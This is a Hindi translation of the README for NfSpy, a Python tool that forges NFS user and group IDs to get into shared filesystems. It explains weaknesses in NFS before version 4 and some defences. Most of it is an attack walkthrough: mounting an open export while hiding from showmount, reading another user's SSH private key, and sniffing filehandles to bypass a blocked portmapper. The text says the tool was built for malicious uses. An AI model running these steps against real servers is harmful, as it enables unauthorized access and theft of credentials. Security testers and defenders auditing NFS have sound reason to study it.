
आईडी-स्पूफिंग NFS क्लाइंट
================================= Daniel Miller द्वारा
NfSpy एक Python लाइब्रेरी है जो NFS शेयर को माउंट करते समय NFS क्रेडेंशियल्स की फ़र्जीकरण (falsification) को स्वचालित करती है। इसमें दो क्लाइंट प्रोग्राम शामिल हैं:
nfspy Linux में NFS शेयर को माउंट करने के लिए Filesystem in Userspace (FUSE) लाइब्रेरी का उपयोग करता है। यह NFS एक्सपोर्ट का पता लगाने के लिए grep और find जैसे किसी भी सामान्य फ़ाइल-खोज और हेरफेर प्रोग्राम का उपयोग करने की अनुमति देता है।
nfspysh NFS एक्सपोर्ट्स का पता लगाने के लिए एक ftp-जैसा इंटरैक्टिव शेल है। इसे FUSE लाइब्रेरी की आवश्यकता नहीं होती, इसलिए यह गैर-Linux प्लेटफ़ॉर्म पर भी चल सकता है।
NFS का संस्करण 4 से पहले का प्रोटोकॉल प्रमाणीकरण के लिए होस्ट विश्वास संबंधों पर निर्भर करता है। NFS सर्वर किसी भी क्लाइंट मशीन पर भरोसा करता है कि वह उपयोगकर्ताओं को प्रमाणित करेगा और साझा फाइलसिस्टम द्वारा उपयोग किए जाने वाले समान यूज़र आईडी (UIDS) निर्दिष्ट करेगा। उदाहरण के लिए, यह NIS, NIS+ और LDAP डोमेन में काम करता है, लेकिन केवल तभी जब आप जानते हैं कि क्लाइंट मशीन से समझौता नहीं हुआ है, या वह अपनी पहचान नहीं बदल रही है। ऐसा इसलिए है क्योंकि NFS प्रोटोकॉल में एकमात्र प्रमाणीकरण UID और GID (ग्रुप ID) का प्रसारण है। NFS की सुरक्षा बढ़ाने के लिए कुछ चीजें की जा सकती हैं, लेकिन उनमें से कई अधूरे समाधान हैं, और यहाँ सूचीबद्ध तीनों के बावजूद भी सुरक्षा उपायों को दरकिनार करना संभव हो सकता है।
सर्वर या शेयर ("export" को NFS की भाषा में कहते हैं) को root_squash के रूप में कॉन्फ़िगर किया जा सकता है, जिसका अर्थ है कि UID या GID 0 (रूट) होने का दावा करने वाले किसी भी अनुरोध को सिस्टम में nobody उपयोगकर्ता या उसके समकक्ष की तरह माना जाएगा। यह किसी हमलावर को किसी अन्य UID/GID संयोजन को स्पूफ करने से नहीं रोकता, लेकिन एक्सपोर्ट पर सबसे संवेदनशील जानकारी और कॉन्फ़िग्स की रक्षा करेगा।
एक और सेटिंग जिसे सक्षम किया जा सकता है वह है nfs_portmon, जो 513-1024 रेंज के बाहर के स्रोत पोर्ट्स से आने वाले अनुरोधों को अस्वीकार करता है। चूँकि केवल रूट ही (आमतौर पर) इन पोर्ट्स को आवंटित कर सकता है, यह एक भरोसेमंद मशीन पर सामान्य उपयोगकर्ता को अपना स्वयं का NFS क्लाइंट लिखने और उपयोग करने से रोकता है जो UID/GID को फेक करता है। यह एक दुर्भावनापूर्ण होस्ट, su अनुमतियों वाले उपयोगकर्ता, या रूट-स्तर से समझौता किए गए मशीन को ऐसा करने से रोकने के लिए कुछ नहीं करता।
शेयर/एक्सपोर्ट को नियंत्रित किया जा सकता है ताकि केवल कुछ मशीनें ही उन्हें एक्सेस कर सकें। ये एक्सेस कंट्रोल सूचियाँ (Access Control Lists) निम्न से मिलकर बन सकती हैं:
सबसे अच्छा कॉन्फ़िगरेशन होस्ट सूची का उपयोग करना होगा, क्योंकि nfs डेमन से पूछताछ करने पर केवल सूची का नाम मिलेगा, यह नहीं कि उसमें कौन से पते या नाम शामिल हैं। इसके बाद IP पते या होस्टनाम आते हैं, क्योंकि उन्हें स्पूफ करना अधिक कठिन होता है। IP उपसर्ग और "everyone" असुरक्षा के संकेत हैं, क्योंकि कौन से पते कनेक्ट हो सकते हैं, इस पर बहुत कम या कोई प्रतिबंध नहीं होता।
विकल्पों की सूची देखने के लिए निम्न कमांड चलाएँ:
nfspy --help
192.168.1.124 पर एक NFS सर्वर है।
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
शेयर को माउंट करें। sudo का उपयोग करने से आप एक विशेषाधिकार प्राप्त पोर्ट से बाइंड कर सकते हैं, और allow_other विकल्प किसी भी उपयोगकर्ता को फाइलसिस्टम का उपयोग करने देता है। यहाँ एक और नया विकल्प "hide" है, जो सर्वर पर शेयर को तुरंत "अनमाउंट" कर देता है, लेकिन उसे मिले फाइलहैंडल को बनाए रखता है। यह showmount -a का उपयोग करने वाले किसी भी व्यक्ति से आपकी उपस्थिति छिपाता है।
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
अपनी नई मिली स्वतंत्रता का आनंद लें!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
अनमाउंट करने के लिए, fusermount का उपयोग करें:
$ sudo fusermount -u /mnt
192.168.1.124 पर एक NFS सर्वर है। Portmap ब्लॉक है, इसलिए आप शेयरों की सूची प्राप्त नहीं कर सकते, लेकिन आप नेटवर्क ट्रैफ़िक स्निफ कर सकते हैं।
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
अब माउंट डेमन का उपयोग करने से बचने के लिए dirhandle और getroot माउंट विकल्पों का उपयोग करें, और पोर्टमैपर से बचने के लिए nfsport विकल्प का उपयोग करें, और डायरेक्ट्री ट्री को एक्सपोर्ट के रूट तक पार करें।
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
ध्यान दें कि हमने माउंट करने के लिए कोई पथ नहीं दिया, क्योंकि हम केवल nfs फाइलहैंडल जानते हैं। इसके काम करने के लिए, हैंडल एक डायरेक्ट्री का होना चाहिए, फ़ाइल का नहीं, और आपको जल्दी काम करना होगा अन्यथा हैंडल स्टेल (stale) हो जाएगा।
tshark प्रोग्राम Wireshark परियोजना का हिस्सा है। सामान्य tcpdump प्रोग्राम भी -u विकल्प के साथ NFS फाइलहैंडल्स को डिकोड करने की क्षमता रखता है:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
ये फाइलहैंडल 4-बाइट कोलन-सेपरेटेड होते हैं, इसलिए आपको उन्हें स्वयं शून्य (zeros) से पैड करना होगा; NfSpy केवल कोलन हटा देगा, जो गलत है।
nfspysh nfspy के समान प्रारूप में विकल्पों का वही मूल सेट लेता है, इसलिए उपरोक्त ट्यूटोरियल ठीक काम करना चाहिए। कमांड की सूची "help" कमांड के साथ देखी जा सकती है।
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
राइट एक्सेस बीटा है। यह मेरे परीक्षणों में कुछ प्रणालियों पर काम कर चुका है, लेकिन इसे और अधिक परीक्षण की आवश्यकता हो सकती है। इस कारण, NfSpy डिफ़ॉल्ट रूप से ro माउंट करता है। इसे बदलने के लिए rw माउंट विकल्प निर्दिष्ट करें। (nfspysh में रीड-ओनली मोड नहीं है। सावधानी से चलें!)
NfSpy मानक lockd और statd सेवाओं के साथ काम नहीं करता, जिससे फाइलों में लिखने में समस्या हो सकती है। हालाँकि, रीड-ओनली के लिए, और अधिकांश दुर्भावनापूर्ण उपयोगों के लिए जिनके लिए इसे बनाया गया था, यह समस्या नहीं होनी चाहिए।
NfSpy इस समय केवल NFSv3 का समर्थन करता है। भविष्य के संस्करण बुद्धिमानी से NFS संस्करण चुन सकते हैं।